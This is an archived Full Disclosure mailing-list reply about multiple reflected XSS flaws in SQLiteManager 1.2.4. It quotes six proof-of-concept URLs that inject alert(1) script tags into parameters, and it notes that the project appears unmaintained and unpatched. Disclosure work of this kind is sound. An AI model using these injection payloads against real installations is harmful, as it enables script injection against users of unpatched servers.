full-disclosure - Re: [FD] SQLiteManager 1.2.4: Multiple XSS

Open Source and information security mailing list archives

Message-ID: <20151109115729.GE17058@lakka.kapsi.fi>
Date: Mon, 9 Nov 2015 13:57:29 +0200
From: Henri Salo <henri@...v.fi>
To: "Curesec Research Team (CRT)" <crt@...esec.com>
Cc: fulldisclosure@...lists.org
Subject: Re: [FD] SQLiteManager 1.2.4: Multiple XSS

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Tue, Nov 03, 2015 at 12:06:20PM +0100, Curesec Research Team (CRT) wrote:
> SQLiteManager 1.2.4: Multiple XSS
> http://localhost/SQLiteManager-1.2.4/main.php?dbsel=2&function="><script>alert(1)</script>
> http://localhost/SQLiteManager-1.2.4/main.php?dbsel=2&table="><script>alert(1)</script>
> http://localhost/SQLiteManager-1.2.4/main.php?dbsel=2&trigger="><script>alert(1)</script>
> http://localhost/SQLiteManager-1.2.4/main.php?dbsel=2&view="><script>alert(1)</script>
> http://localhost/SQLiteManager-1.2.4/main.php?dbsel=2&action=browseItem&DisplayQuery=</textarea><script>alert(1)</script>
> http://localhost/SQLiteManager-1.2.4/main.php?dbsel=1&table=t1&action=insertElement¤tPage=0'"><script>alert(1)</script>

As far as I can tell this project is dead and they have no plans to fix security
vulnerabilities. I tried to contact them years ago, but never received any
response. These issues look similar to CVE-2007-1231. Please see:
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1231

- -- 
Henri Salo
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJWQIopAAoJECet96ROqnV0RVYQAMl+kf/u586FYo5ck4brxsyy
HCYPdXi4Wz6FzPNipvmTZRHc5uS0+tcXeFgrpTSCAUHlFNOHaJyMs9m9T9kLPfjc
D/kKopnJqoQUi3JMFjr/7Zu5vcPKq/aynIRgBOBa0yQzQJsh+NDoun0ClXftLRc0
tMQ7IpCuRUa2jE7DUbKwEiHtNJM79iLi/TfmFJKy2ulePwXX9AEK7P+rbkTCLSSJ
fY5VEHmKH8LudAiuS/jc/LN7HL9fm6Ndw+LSDsCPuLl6pNr9RIwv1xO2Bi/mBPYV
GjlL9aW+41C/2QlU86/UujelKU5DrNF9UeQZuH6bhAjHcYBVQQtrw5xVn62z5Iea
usBKcYiK4ZPVknajpu90saoerOYM0ILo2wnTYr/KvVQeCdIWnir76ZIoBXA7tYFY
7eg9dgiAMHSNh8fnhlV8pEeVBKZ8t55vafz6WZa+NUfP8fTpZeN8UmHCAWF1Kppw
70NncxHU3BWFPR/HbWvoWKxiOcOxRASUnWgpb2zVau2EjwxlJEt6MTtvp3Gynu7D
XHo0clJwklJBPGsU00EETp+pgYGEi94knUv5/kG+Ki3YMiIJl3aRpwVZy+sBAvq8
SoMCbITFOM2KI2dIsrR7SSIFmmDL6sUwaEocNkn271iUCSELXEIKrTTw69gDpCYu
tiAf46Qz02EK/Jwmw8Hw
=rwKh
-----END PGP SIGNATURE-----

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives